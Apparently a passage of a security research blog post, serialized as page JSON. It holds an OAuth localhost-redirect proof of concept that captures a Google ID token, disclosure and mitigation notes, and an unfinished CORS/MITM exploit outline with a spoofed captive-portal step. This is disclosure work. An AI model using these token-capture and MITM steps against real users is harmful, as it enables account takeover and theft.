{\n src = \"https://accounts.google.com/gsi/client\"\n attributes[\"async\"] = \"\"\n attributes[\"defer\"] = \"\"\n }\n script {\n unsafe {\n +\"\"\"\n function handleCredentialResponse(response) {\n alert(\"credential: \" + response.credential);\n }\n\n window.onload = async function () {\n const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n const client_id = oauth_url.searchParams.get(\"client_id\");\n google.accounts.id.initialize({\n client_id: client_id,\n callback: handleCredentialResponse,\n auto_select: true\n });\n\n google.accounts.id.renderButton(\n document.getElementById(\"g_id_signin\"),\n { theme: \"outline\", size: \"large\" }\n );\n\n google.accounts.id.prompt();\n };\n \"\"\".trimIndent()\n }\n }\n }\n body {\n h1 { +\"Login here:\" }\n div {\n id = \"g_id_signin\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n",[98310],{"type":23,"tag":64,"props":98311,"children":98312},{"__ignoreMap":7},[98313,98340,98359,98366,98385,98396,98407,98438,98461,98508,98515,98522,98529,98569,98580,98587,98594,98613,98636,98647,98666,98681,98692,98712,98723,98740,98766,98790,98797,98808,98820,98833,98841,98849,98856,98863,98871,98879,98887,98895,98903,98911,98919,98926,98933,98941,98949,98957,98964,98971,98979,98986,99007,99015,99022,99029,99040,99064,99076,99093,99100,99107,99115,99123,99131,99159],{"type":23,"tag":481,"props":98314,"children":98315},{"class":483,"line":484},[98316,98320,98324,98328,98332,98336],{"type":23,"tag":481,"props":98317,"children":98318},{"style":497},[98319],{"type":28,"value":67974},{"type":23,"tag":481,"props":98321,"children":98322},{"style":497},[98323],{"type":28,"value":3684},{"type":23,"tag":481,"props":98325,"children":98326},{"style":610},[98327],{"type":28,"value":67983},{"type":23,"tag":481,"props":98329,"children":98330},{"style":525},[98331],{"type":28,"value":67988},{"type":23,"tag":481,"props":98333,"children":98334},{"style":943},[98335],{"type":28,"value":67993},{"type":23,"tag":481,"props":98337,"children":98338},{"style":525},[98339],{"type":28,"value":67998},{"type":23,"tag":481,"props":98341,"children":98342},{"class":483,"line":351},[98343,98347,98351,98355],{"type":23,"tag":481,"props":98344,"children":98345},{"style":497},[98346],{"type":28,"value":68006},{"type":23,"tag":481,"props":98348,"children":98349},{"style":525},[98350],{"type":28,"value":199},{"type":23,"tag":481,"props":98352,"children":98353},{"style":610},[98354],{"type":28,"value":68015},{"type":23,"tag":481,"props":98356,"children":98357},{"style":525},[98358],{"type":28,"value":68020},{"type":23,"tag":481,"props":98360,"children":98361},{"class":483,"line":531},[98362],{"type":23,"tag":481,"props":98363,"children":98364},{"emptyLinePlaceholder":15},[98365],{"type":28,"value":1210},{"type":23,"tag":481,"props":98367,"children":98368},{"class":483,"line":567},[98369,98373,98377,98381],{"type":23,"tag":481,"props":98370,"children":98371},{"style":610},[98372],{"type":28,"value":68043},{"type":23,"tag":481,"props":98374,"children":98375},{"style":525},[98376],{"type":28,"value":68048},{"type":23,"tag":481,"props":98378,"children":98379},{"style":610},[98380],{"type":28,"value":68053},{"type":23,"tag":481,"props":98382,"children":98383},{"style":525},[98384],{"type":28,"value":809},{"type":23,"tag":481,"props":98386,"children":98387},{"class":483,"line":678},[98388,98392],{"type":23,"tag":481,"props":98389,"children":98390},{"style":535},[98391],{"type":28,"value":68065},{"type":23,"tag":481,"props":98393,"children":98394},{"style":525},[98395],{"type":28,"value":809},{"type":23,"tag":481,"props":98397,"children":98398},{"class":483,"line":784},[98399,98403],{"type":23,"tag":481,"props":98400,"children":98401},{"style":610},[98402],{"type":28,"value":68077},{"type":23,"tag":481,"props":98404,"children":98405},{"style":525},[98406],{"type":28,"value":5214},{"type":23,"tag":481,"props":98408,"children":98409},{"class":483,"line":812},[98410,98414,98418,98422,98426,98430,98434],{"type":23,"tag":481,"props":98411,"children":98412},{"style":525},[98413],{"type":28,"value":68089},{"type":23,"tag":481,"props":98415,"children":98416},{"style":610},[98417],{"type":28,"value":68094},{"type":23,"tag":481,"props":98419,"children":98420},{"style":525},[98421],{"type":28,"value":618},{"type":23,"tag":481,"props":98423,"children":98424},{"style":1805},[98425],{"type":28,"value":68103},{"type":23,"tag":481,"props":98427,"children":98428},{"style":525},[98429],{"type":28,"value":588},{"type":23,"tag":481,"props":98431,"children":98432},{"style":1805},[98433],{"type":28,"value":68112},{"type":23,"tag":481,"props":98435,"children":98436},{"style":525},[98437],{"type":28,"value":675},{"type":23,"tag":481,"props":98439,"children":98440},{"class":483,"line":825},[98441,98445,98449,98453,98457],{"type":23,"tag":481,"props":98442,"children":98443},{"style":525},[98444],{"type":28,"value":68124},{"type":23,"tag":481,"props":98446,"children":98447},{"style":497},[98448],{"type":28,"value":45936},{"type":23,"tag":481,"props":98450,"children":98451},{"style":525},[98452],{"type":28,"value":68133},{"type":23,"tag":481,"props":98454,"children":98455},{"style":943},[98456],{"type":28,"value":68138},{"type":23,"tag":481,"props":98458,"children":98459},{"style":525},[98460],{"type":28,"value":12292},{"type":23,"tag":481,"props":98462,"children":98463},{"class":483,"line":843},[98464,98468,98472,98476,98480,98484,98488,98492,98496,98500,98504],{"type":23,"tag":481,"props":98465,"children":98466},{"style":525},[98467],{"type":28,"value":68089},{"type":23,"tag":481,"props":98469,"children":98470},{"style":610},[98471],{"type":28,"value":48980},{"type":23,"tag":481,"props":98473,"children":98474},{"style":525},[98475],{"type":28,"value":618},{"type":23,"tag":481,"props":98477,"children":98478},{"style":1805},[98479],{"type":28,"value":68103},{"type":23,"tag":481,"props":98481,"children":98482},{"style":525},[98483],{"type":28,"value":588},{"type":23,"tag":481,"props":98485,"children":98486},{"style":1805},[98487],{"type":28,"value":68170},{"type":23,"tag":481,"props":98489,"children":98490},{"style":497},[98491],{"type":28,"value":31625},{"type":23,"tag":481,"props":98493,"children":98494},{"style":514},[98495],{"type":28,"value":68179},{"type":23,"tag":481,"props":98497,"children":98498},{"style":497},[98499],{"type":28,"value":31657},{"type":23,"tag":481,"props":98501,"children":98502},{"style":1805},[98503],{"type":28,"value":17557},{"type":23,"tag":481,"props":98505,"children":98506},{"style":525},[98507],{"type":28,"value":68192},{"type":23,"tag":481,"props":98509,"children":98510},{"class":483,"line":864},[98511],{"type":23,"tag":481,"props":98512,"children":98513},{"style":525},[98514],{"type":28,"value":56412},{"type":23,"tag":481,"props":98516,"children":98517},{"class":483,"line":873},[98518],{"type":23,"tag":481,"props":98519,"children":98520},{"style":525},[98521],{"type":28,"value":870},{"type":23,"tag":481,"props":98523,"children":98524},{"class":483,"line":1125},[98525],{"type":23,"tag":481,"props":98526,"children":98527},{"emptyLinePlaceholder":15},[98528],{"type":28,"value":1210},{"type":23,"tag":481,"props":98530,"children":98531},{"class":483,"line":1142},[98532,98536,98540,98544,98548,98552,98556,98560,98565],{"type":23,"tag":481,"props":98533,"children":98534},{"style":497},[98535],{"type":28,"value":68229},{"type":23,"tag":481,"props":98537,"children":98538},{"style":525},[98539],{"type":28,"value":68255},{"type":23,"tag":481,"props":98541,"children":98542},{"style":514},[98543],{"type":28,"value":603},{"type":23,"tag":481,"props":98545,"children":98546},{"style":610},[98547],{"type":28,"value":68264},{"type":23,"tag":481,"props":98549,"children":98550},{"style":525},[98551],{"type":28,"value":68269},{"type":23,"tag":481,"props":98553,"children":98554},{"style":610},[98555],{"type":28,"value":36730},{"type":23,"tag":481,"props":98557,"children":98558},{"style":525},[98559],{"type":28,"value":618},{"type":23,"tag":481,"props":98561,"children":98562},{"style":1805},[98563],{"type":28,"value":98564},"\"http://localhost:3000\"",{"type":23,"tag":481,"props":98566,"children":98567},{"style":525},[98568],{"type":28,"value":17209},{"type":23,"tag":481,"props":98570,"children":98571},{"class":483,"line":1159},[98572,98576],{"type":23,"tag":481,"props":98573,"children":98574},{"style":610},[98575],{"type":28,"value":68286},{"type":23,"tag":481,"props":98577,"children":98578},{"style":525},[98579],{"type":28,"value":68291},{"type":23,"tag":481,"props":98581,"children":98582},{"class":483,"line":1172},[98583],{"type":23,"tag":481,"props":98584,"children":98585},{"style":525},[98586],{"type":28,"value":879},{"type":23,"tag":481,"props":98588,"children":98589},{"class":483,"line":1181},[98590],{"type":23,"tag":481,"props":98591,"children":98592},{"emptyLinePlaceholder":15},[98593],{"type":28,"value":1210},{"type":23,"tag":481,"props":98595,"children":98596},{"class":483,"line":1204},[98597,98601,98605,98609],{"type":23,"tag":481,"props":98598,"children":98599},{"style":497},[98600],{"type":28,"value":68313},{"type":23,"tag":481,"props":98602,"children":98603},{"style":497},[98604],{"type":28,"value":3684},{"type":23,"tag":481,"props":98606,"children":98607},{"style":610},[98608],{"type":28,"value":68322},{"type":23,"tag":481,"props":98610,"children":98611},{"style":525},[98612],{"type":28,"value":13226},{"type":23,"tag":481,"props":98614,"children":98615},{"class":483,"line":1213},[98616,98620,98624,98628,98632],{"type":23,"tag":481,"props":98617,"children":98618},{"style":610},[98619],{"type":28,"value":68334},{"type":23,"tag":481,"props":98621,"children":98622},{"style":525},[98623],{"type":28,"value":68339},{"type":23,"tag":481,"props":98625,"children":98626},{"style":514},[98627],{"type":28,"value":603},{"type":23,"tag":481,"props":98629,"children":98630},{"style":551},[98631],{"type":28,"value":68348},{"type":23,"tag":481,"props":98633,"children":98634},{"style":525},[98635],{"type":28,"value":12292},{"type":23,"tag":481,"props":98637,"children":98638},{"class":483,"line":1222},[98639,98643],{"type":23,"tag":481,"props":98640,"children":98641},{"style":610},[98642],{"type":28,"value":68360},{"type":23,"tag":481,"props":98644,"children":98645},{"style":525},[98646],{"type":28,"value":809},{"type":23,"tag":481,"props":98648,"children":98649},{"class":483,"line":1291},[98650,98654,98658,98662],{"type":23,"tag":481,"props":98651,"children":98652},{"style":497},[98653],{"type":28,"value":68372},{"type":23,"tag":481,"props":98655,"children":98656},{"style":525},[98657],{"type":28,"value":618},{"type":23,"tag":481,"props":98659,"children":98660},{"style":1805},[98661],{"type":28,"value":68381},{"type":23,"tag":481,"props":98663,"children":98664},{"style":525},[98665],{"type":28,"value":12292},{"type":23,"tag":481,"props":98667,"children":98668},{"class":483,"line":1299},[98669,98673,98677],{"type":23,"tag":481,"props":98670,"children":98671},{"style":525},[98672],{"type":28,"value":68393},{"type":23,"tag":481,"props":98674,"children":98675},{"style":610},[98676],{"type":28,"value":68398},{"type":23,"tag":481,"props":98678,"children":98679},{"style":525},[98680],{"type":28,"value":809},{"type":23,"tag":481,"props":98682,"children":98683},{"class":483,"line":1329},[98684,98688],{"type":23,"tag":481,"props":98685,"children":98686},{"style":610},[98687],{"type":28,"value":68410},{"type":23,"tag":481,"props":98689,"children":98690},{"style":525},[98691],{"type":28,"value":809},{"type":23,"tag":481,"props":98693,"children":98694},{"class":483,"line":1337},[98695,98699,98703,98708],{"type":23,"tag":481,"props":98696,"children":98697},{"style":610},[98698],{"type":28,"value":68487},{"type":23,"tag":481,"props":98700,"children":98701},{"style":525},[98702],{"type":28,"value":618},{"type":23,"tag":481,"props":98704,"children":98705},{"style":1805},[98706],{"type":28,"value":98707},"\"Test\"",{"type":23,"tag":481,"props":98709,"children":98710},{"style":525},[98711],{"type":28,"value":675},{"type":23,"tag":481,"props":98713,"children":98714},{"class":483,"line":1369},[98715,98719],{"type":23,"tag":481,"props":98716,"children":98717},{"style":610},[98718],{"type":28,"value":68553},{"type":23,"tag":481,"props":98720,"children":98721},{"style":525},[98722],{"type":28,"value":809},{"type":23,"tag":481,"props":98724,"children":98725},{"class":483,"line":1377},[98726,98731,98735],{"type":23,"tag":481,"props":98727,"children":98728},{"style":525},[98729],{"type":28,"value":98730}," src ",{"type":23,"tag":481,"props":98732,"children":98733},{"style":514},[98734],{"type":28,"value":603},{"type":23,"tag":481,"props":98736,"children":98737},{"style":1805},[98738],{"type":28,"value":98739}," \"https://accounts.google.com/gsi/client\"\n",{"type":23,"tag":481,"props":98741,"children":98742},{"class":483,"line":1437},[98743,98748,98753,98757,98761],{"type":23,"tag":481,"props":98744,"children":98745},{"style":525},[98746],{"type":28,"value":98747}," attributes[",{"type":23,"tag":481,"props":98749,"children":98750},{"style":1805},[98751],{"type":28,"value":98752},"\"async\"",{"type":23,"tag":481,"props":98754,"children":98755},{"style":525},[98756],{"type":28,"value":6141},{"type":23,"tag":481,"props":98758,"children":98759},{"style":514},[98760],{"type":28,"value":603},{"type":23,"tag":481,"props":98762,"children":98763},{"style":1805},[98764],{"type":28,"value":98765}," \"\"\n",{"type":23,"tag":481,"props":98767,"children":98768},{"class":483,"line":6528},[98769,98773,98778,98782,98786],{"type":23,"tag":481,"props":98770,"children":98771},{"style":525},[98772],{"type":28,"value":98747},{"type":23,"tag":481,"props":98774,"children":98775},{"style":1805},[98776],{"type":28,"value":98777},"\"defer\"",{"type":23,"tag":481,"props":98779,"children":98780},{"style":525},[98781],{"type":28,"value":6141},{"type":23,"tag":481,"props":98783,"children":98784},{"style":514},[98785],{"type":28,"value":603},{"type":23,"tag":481,"props":98787,"children":98788},{"style":1805},[98789],{"type":28,"value":98765},{"type":23,"tag":481,"props":98791,"children":98792},{"class":483,"line":6546},[98793],{"type":23,"tag":481,"props":98794,"children":98795},{"style":525},[98796],{"type":28,"value":68578},{"type":23,"tag":481,"props":98798,"children":98799},{"class":483,"line":6591},[98800,98804],{"type":23,"tag":481,"props":98801,"children":98802},{"style":610},[98803],{"type":28,"value":68553},{"type":23,"tag":481,"props":98805,"children":98806},{"style":525},[98807],{"type":28,"value":809},{"type":23,"tag":481,"props":98809,"children":98810},{"class":483,"line":6697},[98811,98816],{"type":23,"tag":481,"props":98812,"children":98813},{"style":610},[98814],{"type":28,"value":98815}," unsafe",{"type":23,"tag":481,"props":98817,"children":98818},{"style":525},[98819],{"type":28,"value":809},{"type":23,"tag":481,"props":98821,"children":98822},{"class":483,"line":21008},[98823,98828],{"type":23,"tag":481,"props":98824,"children":98825},{"style":514},[98826],{"type":28,"value":98827}," +",{"type":23,"tag":481,"props":98829,"children":98830},{"style":1805},[98831],{"type":28,"value":98832},"\"\"\"\n",{"type":23,"tag":481,"props":98834,"children":98835},{"class":483,"line":21043},[98836],{"type":23,"tag":481,"props":98837,"children":98838},{"style":1805},[98839],{"type":28,"value":98840}," function handleCredentialResponse(response) {\n",{"type":23,"tag":481,"props":98842,"children":98843},{"class":483,"line":21051},[98844],{"type":23,"tag":481,"props":98845,"children":98846},{"style":1805},[98847],{"type":28,"value":98848}," alert(\"credential: \" + response.credential);\n",{"type":23,"tag":481,"props":98850,"children":98851},{"class":483,"line":21059},[98852],{"type":23,"tag":481,"props":98853,"children":98854},{"style":1805},[98855],{"type":28,"value":879},{"type":23,"tag":481,"props":98857,"children":98858},{"class":483,"line":21068},[98859],{"type":23,"tag":481,"props":98860,"children":98861},{"emptyLinePlaceholder":15},[98862],{"type":28,"value":1210},{"type":23,"tag":481,"props":98864,"children":98865},{"class":483,"line":21110},[98866],{"type":23,"tag":481,"props":98867,"children":98868},{"style":1805},[98869],{"type":28,"value":98870}," window.onload = async function () {\n",{"type":23,"tag":481,"props":98872,"children":98873},{"class":483,"line":21143},[98874],{"type":23,"tag":481,"props":98875,"children":98876},{"style":1805},[98877],{"type":28,"value":98878}," const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":23,"tag":481,"props":98880,"children":98881},{"class":483,"line":21151},[98882],{"type":23,"tag":481,"props":98883,"children":98884},{"style":1805},[98885],{"type":28,"value":98886}," const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":23,"tag":481,"props":98888,"children":98889},{"class":483,"line":21159},[98890],{"type":23,"tag":481,"props":98891,"children":98892},{"style":1805},[98893],{"type":28,"value":98894}," google.accounts.id.initialize({\n",{"type":23,"tag":481,"props":98896,"children":98897},{"class":483,"line":21168},[98898],{"type":23,"tag":481,"props":98899,"children":98900},{"style":1805},[98901],{"type":28,"value":98902}," client_id: client_id,\n",{"type":23,"tag":481,"props":98904,"children":98905},{"class":483,"line":21244},[98906],{"type":23,"tag":481,"props":98907,"children":98908},{"style":1805},[98909],{"type":28,"value":98910}," callback: handleCredentialResponse,\n",{"type":23,"tag":481,"props":98912,"children":98913},{"class":483,"line":21277},[98914],{"type":23,"tag":481,"props":98915,"children":98916},{"style":1805},[98917],{"type":28,"value":98918}," auto_select: true\n",{"type":23,"tag":481,"props":98920,"children":98921},{"class":483,"line":21285},[98922],{"type":23,"tag":481,"props":98923,"children":98924},{"style":1805},[98925],{"type":28,"value":4774},{"type":23,"tag":481,"props":98927,"children":98928},{"class":483,"line":21293},[98929],{"type":23,"tag":481,"props":98930,"children":98931},{"emptyLinePlaceholder":15},[98932],{"type":28,"value":1210},{"type":23,"tag":481,"props":98934,"children":98935},{"class":483,"line":21330},[98936],{"type":23,"tag":481,"props":98937,"children":98938},{"style":1805},[98939],{"type":28,"value":98940}," google.accounts.id.renderButton(\n",{"type":23,"tag":481,"props":98942,"children":98943},{"class":483,"line":21343},[98944],{"type":23,"tag":481,"props":98945,"children":98946},{"style":1805},[98947],{"type":28,"value":98948}," document.getElementById(\"g_id_signin\"),\n",{"type":23,"tag":481,"props":98950,"children":98951},{"class":483,"line":21356},[98952],{"type":23,"tag":481,"props":98953,"children":98954},{"style":1805},[98955],{"type":28,"value":98956}," { theme: \"outline\", size: \"large\" }\n",{"type":23,"tag":481,"props":98958,"children":98959},{"class":483,"line":21369},[98960],{"type":23,"tag":481,"props":98961,"children":98962},{"style":1805},[98963],{"type":28,"value":4244},{"type":23,"tag":481,"props":98965,"children":98966},{"class":483,"line":21423},[98967],{"type":23,"tag":481,"props":98968,"children":98969},{"emptyLinePlaceholder":15},[98970],{"type":28,"value":1210},{"type":23,"tag":481,"props":98972,"children":98973},{"class":483,"line":21432},[98974],{"type":23,"tag":481,"props":98975,"children":98976},{"style":1805},[98977],{"type":28,"value":98978}," google.accounts.id.prompt();\n",{"type":23,"tag":481,"props":98980,"children":98981},{"class":483,"line":29796},[98982],{"type":23,"tag":481,"props":98983,"children":98984},{"style":1805},[98985],{"type":28,"value":36515},{"type":23,"tag":481,"props":98987,"children":98988},{"class":483,"line":29817},[98989,98994,98998,99003],{"type":23,"tag":481,"props":98990,"children":98991},{"style":1805},[98992],{"type":28,"value":98993}," \"\"\"",{"type":23,"tag":481,"props":98995,"children":98996},{"style":525},[98997],{"type":28,"value":199},{"type":23,"tag":481,"props":98999,"children":99000},{"style":610},[99001],{"type":28,"value":99002},"trimIndent",{"type":23,"tag":481,"props":99004,"children":99005},{"style":525},[99006],{"type":28,"value":5214},{"type":23,"tag":481,"props":99008,"children":99009},{"class":483,"line":78483},[99010],{"type":23,"tag":481,"props":99011,"children":99012},{"style":525},[99013],{"type":28,"value":99014}," }\n",{"type":23,"tag":481,"props":99016,"children":99017},{"class":483,"line":78496},[99018],{"type":23,"tag":481,"props":99019,"children":99020},{"style":525},[99021],{"type":28,"value":68578},{"type":23,"tag":481,"props":99023,"children":99024},{"class":483,"line":78504},[99025],{"type":23,"tag":481,"props":99026,"children":99027},{"style":525},[99028],{"type":28,"value":68508},{"type":23,"tag":481,"props":99030,"children":99031},{"class":483,"line":78512},[99032,99036],{"type":23,"tag":481,"props":99033,"children":99034},{"style":610},[99035],{"type":28,"value":68516},{"type":23,"tag":481,"props":99037,"children":99038},{"style":525},[99039],{"type":28,"value":809},{"type":23,"tag":481,"props":99041,"children":99042},{"class":483,"line":78520},[99043,99047,99051,99055,99060],{"type":23,"tag":481,"props":99044,"children":99045},{"style":610},[99046],{"type":28,"value":68528},{"type":23,"tag":481,"props":99048,"children":99049},{"style":525},[99050],{"type":28,"value":7069},{"type":23,"tag":481,"props":99052,"children":99053},{"style":514},[99054],{"type":28,"value":1930},{"type":23,"tag":481,"props":99056,"children":99057},{"style":1805},[99058],{"type":28,"value":99059},"\"Login here:\"",{"type":23,"tag":481,"props":99061,"children":99062},{"style":525},[99063],{"type":28,"value":7079},{"type":23,"tag":481,"props":99065,"children":99066},{"class":483,"line":78560},[99067,99072],{"type":23,"tag":481,"props":99068,"children":99069},{"style":610},[99070],{"type":28,"value":99071}," div",{"type":23,"tag":481,"props":99073,"children":99074},{"style":525},[99075],{"type":28,"value":809},{"type":23,"tag":481,"props":99077,"children":99078},{"class":483,"line":78568},[99079,99084,99088],{"type":23,"tag":481,"props":99080,"children":99081},{"style":525},[99082],{"type":28,"value":99083}," id ",{"type":23,"tag":481,"props":99085,"children":99086},{"style":514},[99087],{"type":28,"value":603},{"type":23,"tag":481,"props":99089,"children":99090},{"style":1805},[99091],{"type":28,"value":99092}," \"g_id_signin\"\n",{"type":23,"tag":481,"props":99094,"children":99095},{"class":483,"line":85755},[99096],{"type":23,"tag":481,"props":99097,"children":99098},{"style":525},[99099],{"type":28,"value":68578},{"type":23,"tag":481,"props":99101,"children":99102},{"class":483,"line":85763},[99103],{"type":23,"tag":481,"props":99104,"children":99105},{"style":525},[99106],{"type":28,"value":68508},{"type":23,"tag":481,"props":99108,"children":99110},{"class":483,"line":99109},62,[99111],{"type":23,"tag":481,"props":99112,"children":99113},{"style":525},[99114],{"type":28,"value":68593},{"type":23,"tag":481,"props":99116,"children":99118},{"class":483,"line":99117},63,[99119],{"type":23,"tag":481,"props":99120,"children":99121},{"style":525},[99122],{"type":28,"value":68601},{"type":23,"tag":481,"props":99124,"children":99126},{"class":483,"line":99125},64,[99127],{"type":23,"tag":481,"props":99128,"children":99129},{"style":525},[99130],{"type":28,"value":56412},{"type":23,"tag":481,"props":99132,"children":99134},{"class":483,"line":99133},65,[99135,99139,99143,99147,99151,99155],{"type":23,"tag":481,"props":99136,"children":99137},{"style":525},[99138],{"type":28,"value":68616},{"type":23,"tag":481,"props":99140,"children":99141},{"style":610},[99142],{"type":28,"value":68621},{"type":23,"tag":481,"props":99144,"children":99145},{"style":525},[99146],{"type":28,"value":68626},{"type":23,"tag":481,"props":99148,"children":99149},{"style":514},[99150],{"type":28,"value":603},{"type":23,"tag":481,"props":99152,"children":99153},{"style":497},[99154],{"type":28,"value":9956},{"type":23,"tag":481,"props":99156,"children":99157},{"style":525},[99158],{"type":28,"value":675},{"type":23,"tag":481,"props":99160,"children":99162},{"class":483,"line":99161},66,[99163],{"type":23,"tag":481,"props":99164,"children":99165},{"style":525},[99166],{"type":28,"value":879},{"type":23,"tag":24,"props":99168,"children":99169},{},[99170],{"type":28,"value":99171},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":23,"tag":24,"props":99173,"children":99174},{},[99175],{"type":28,"value":99176},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":23,"tag":7092,"props":99178,"children":99180},{"id":99179},"how-to-mitigate",[99181],{"type":28,"value":99182},"How to Mitigate",{"type":23,"tag":24,"props":99184,"children":99185},{},[99186],{"type":28,"value":99187},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":23,"tag":31,"props":99189,"children":99191},{"id":99190},"exploiting-cors",[99192],{"type":28,"value":99193},"Exploiting CORS",{"type":23,"tag":24,"props":99195,"children":99196},{},[99197],{"type":28,"value":99198},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":23,"tag":24,"props":99200,"children":99201},{},[99202,99204,99210],{"type":28,"value":99203},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":23,"tag":64,"props":99205,"children":99207},{"className":99206},[],[99208],{"type":28,"value":99209},"http://",{"type":28,"value":99211}," schema for any subdomain:",{"type":23,"tag":435,"props":99213,"children":99217},{"className":99214,"code":99215,"language":99216,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[99218],{"type":23,"tag":64,"props":99219,"children":99220},{"__ignoreMap":7},[99221,99229,99237,99245],{"type":23,"tag":481,"props":99222,"children":99223},{"class":483,"line":484},[99224],{"type":23,"tag":481,"props":99225,"children":99226},{},[99227],{"type":28,"value":99228},"HTTP 200 OK\n",{"type":23,"tag":481,"props":99230,"children":99231},{"class":483,"line":351},[99232],{"type":23,"tag":481,"props":99233,"children":99234},{},[99235],{"type":28,"value":99236},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":23,"tag":481,"props":99238,"children":99239},{"class":483,"line":531},[99240],{"type":23,"tag":481,"props":99241,"children":99242},{},[99243],{"type":28,"value":99244},"Access-Control-Allow-Credentials: true\n",{"type":23,"tag":481,"props":99246,"children":99247},{"class":483,"line":567},[99248],{"type":23,"tag":481,"props":99249,"children":99250},{},[99251],{"type":28,"value":7803},{"type":23,"tag":7092,"props":99253,"children":99255},{"id":99254},"cors-misconfiguration-by-lack-of-tls",[99256],{"type":28,"value":99257},"CORS Misconfiguration by Lack of TLS",{"type":23,"tag":24,"props":99259,"children":99260},{},[99261,99263,99269],{"type":28,"value":99262},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":23,"tag":64,"props":99264,"children":99266},{"className":99265},[],[99267],{"type":28,"value":99268},"exchange.com",{"type":28,"value":99270}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":23,"tag":24,"props":99272,"children":99273},{},[99274],{"type":28,"value":99275},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":23,"tag":14178,"props":99277,"children":99278},{},[99279,99299],{"type":23,"tag":77,"props":99280,"children":99281},{},[99282,99284,99289,99291,99297],{"type":28,"value":99283},"Chrome --> won't work because cookies are not sent in ",{"type":23,"tag":64,"props":99285,"children":99287},{"className":99286},[],[99288],{"type":28,"value":99209},{"type":28,"value":99290}," --> ",{"type":23,"tag":64,"props":99292,"children":99294},{"className":99293},[],[99295],{"type":28,"value":99296},"https://",{"type":28,"value":99298}," requests, even if same-site",{"type":23,"tag":77,"props":99300,"children":99301},{},[99302,99304],{"type":28,"value":99303},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":23,"tag":64,"props":99305,"children":99307},{"className":99306},[],[99308],{"type":28,"value":35283},{"type":23,"tag":7092,"props":99310,"children":99312},{"id":99311},"exploit-1",[99313],{"type":28,"value":97643},{"type":23,"tag":24,"props":99315,"children":99316},{},[99317],{"type":28,"value":99318},"To exploit it, we must follow some steps:",{"type":23,"tag":73,"props":99320,"children":99321},{},[99322,99327,99332],{"type":23,"tag":77,"props":99323,"children":99324},{},[99325],{"type":28,"value":99326},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":23,"tag":77,"props":99328,"children":99329},{},[99330],{"type":28,"value":99331},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":23,"tag":77,"props":99333,"children":99334},{},[99335,99337,99342],{"type":28,"value":99336},"Use ",{"type":23,"tag":64,"props":99338,"children":99340},{"className":99339},[],[99341],{"type":28,"value":35283},{"type":28,"value":99343}," with CORS to do something malicious using the victim's account",{"type":23,"tag":24,"props":99345,"children":99346},{},[99347],{"type":28,"value":99348},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":23,"tag":24,"props":99350,"children":99351},{},[99352,99354,99359],{"type":28,"value":99353},"Once the redirect to the ",{"type":23,"tag":64,"props":99355,"children":99357},{"className":99356},[],[99358],{"type":28,"value":99209},{"type":28,"value":99360}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS 